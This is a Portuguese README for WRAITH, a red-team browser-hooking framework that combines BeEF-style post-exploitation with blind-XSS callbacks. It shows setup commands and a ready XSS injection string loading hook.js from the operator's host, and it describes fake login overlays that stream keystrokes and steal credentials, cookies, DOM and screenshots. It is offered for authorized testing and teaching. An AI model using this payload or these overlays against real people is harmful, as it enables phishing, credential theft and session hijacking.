
Framework de hooking de navegadores para equipes vermelhas autorizadas e educadores. Faz hook em navegadores via XSS, oferece controle interativo pós-exploração, captura de loot de blind-XSS, overlays de engenharia social e um laboratório de prática.
Um framework moderno e autônomo de hook de navegador para red teams, pesquisadores de segurança e educadores — um sucessor limpo do BeEF e das ferramentas de callback blind-XSS que usamos no dia a dia.
SOMENTE PARA TESTES DE SEGURANÇA AUTORIZADOS, PESQUISA E EDUCAÇÃO. O WRAITH é uma ferramenta de segurança ofensiva para demonstrar e testar táticas de phishing / man-in-the-browser / blind-XSS. Use-o apenas contra sistemas e pessoas para os quais você tenha autorização explícita para testar. Você é responsável pela forma como o utiliza.

Ao longo do nosso trabalho na Arcanum, sempre precisávamos de dois tipos diferentes de ferramentas e desejávamos que fossem uma coisa só.
De um lado estava o BeEF — o Browser Exploitation Framework — para o clássico fluxo de trabalho hook um navegador e depois trabalhar de dentro da sessão dele: capturar teclas de um login falso, fazer reconhecimento da rede local, enviar um módulo para uma vítima ao vivo. É a ferramenta que usávamos para tornar o man-in-the-browser real para as pessoas. Mas ele está mostrando a idade, grandes partes são não confiáveis nos navegadores atuais, e as sobreposições de engenharia social parecem logins de uma década atrás.
Do outro lado estavam nossos frameworks de callback blind-XSS favoritos (XSS Hunter, ezXSS): coloque um payload em um campo, e no instante em que ele dispara em algum lugar que você não pode ver, ele chama a base com o butim — origem, cookies, DOM, uma captura de tela.
O que precisávamos cada vez mais — especialmente à medida que mais dos nossos alvos se tornavam ecossistemas de aplicações de IA, onde texto não confiável flui por agentes, saídas de ferramentas, filas de revisão de administradores e consoles de suporte, e executa JavaScript em lugares onde ninguém está observando — era um único framework que fizesse ambas as coisas: o controle interativo e persistente de pós-exploração de um hook do BeEF, e o butim de callback blind-XSS do tipo fire-and-forget, em um único payload confiável nos navegadores atuais e que se parece com as telas de login reais de hoje.
Então construímos o WRAITH.
Estamos lançando o WRAITH cedo, e de propósito. Preferimos colocá-lo nas mãos das pessoas que realmente vão usá-lo — e ouvir o que quebra — do que segurá-lo até que esteja "pronto".
Isso significa: espere arestas e bugs. Alguns módulos são mais testados em batalha do que outros, o comportamento dos navegadores muda sob nossos pés constantemente (veja as notas sobre o scan de rede abaixo), e as APIs podem mudar entre versões. Se você encontrar algo, por favor abra uma issue — passos de reprodução, navegador + versão e o que você esperava são ouro. PRs são bem-vindos sob os termos de contribuição do projeto.
O caminho mais rápido. Você precisa de Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
O setup.sh guia você por tudo:
.env ignorado pelo git (chmod 600),
e compila + inicia o contêiner. Console do operador : http://SEU_IP:8090/operator/
Página de login : http://SEU_IP:8090/login (usuário "operator")
Página de vítima demo: http://SEU_IP:8090/demo/
Payload de hook : http://SEU_IP:8090/hook.js
Payload XSS pronto para uso:
"><script src="http://SEU_IP:8090/hook.js"></script>
Gerencie com comandos padrão do compose:
docker compose logs -f # observe
docker compose down # parar (mantém ./data)
./setup.sh # reconfigurar (rotacionar senha, mudar endereço, …)
As sessões capturadas persistem em ./data/ no host — nunca embutidas na
imagem, nunca commitadas (.env e data/ são ignorados pelo git).
O console do operador é protegido por login sempre que uma senha de operador é definida, com um login de nome de usuário + senha:

npm install
npm start
Em seguida, abra o console do operador em http://127.0.0.1:3000/operator/ e a página de vítima demo em http://127.0.0.1:3000/demo/ (em um segundo navegador/perfil). No localhost, o login é desabilitado por padrão por conveniência — o servidor se recusa a vincular a uma interface pública sem uma senha de operador, para que você não possa expor acidentalmente um painel aberto.
/hook.js é um payload pequeno. Coloque-o em qualquer página que você controla
(<script src="/hook.js"></script>) ou entregue-o via um XSS no seu alvo. O
navegador que o carrega abre um WebSocket de volta para o operador, faz fingerprint de si mesmo
(navegador, SO, IP, página, UA), reconecta automaticamente e sobrevive à navegação. Todo
navegador com hook aparece ao vivo no console, onde você escolhe um e o controla — o
painel completo é a imagem principal no topo deste README: lista de navegadores com hook,
detalhes do alvo, controles de implantação, feed de atividade ao vivo e credenciais capturadas.
Sobreposições modernizadas de login falso, renderizadas em um shadow DOM isolado para que pareçam pixel-perfeitas em qualquer página host e desfoquem a página atrás delas como um modal real de reautenticação. Inclui LinkedIn, Facebook e Microsoft / Office 365 (fluxo autêntico de duas etapas e-mail → senha).

Cada caractere que o alvo digita em uma sobreposição é transmitido ao console em tempo real, e as credenciais enviadas caem em Credenciais Capturadas — tudo persistido para que nada seja perdido em atualização ou reinicialização.

No instante em que um navegador é hookado, o WRAITH dispara automaticamente o Page Capture: exatamente o que um framework blind-XSS captura quando seu payload dispara em algum lugar que você não pode ver — onde disparou (origem + URL + referrer), os cookies da vítima (não-HttpOnly), o DOM completo e uma captura de tela. As falhas são relatadas honestamente, porque elas são a lição: cookies HttpOnly nunca aparecem, e CSP ou tainting de canvas de origem cruzada podem bloquear a captura de tela.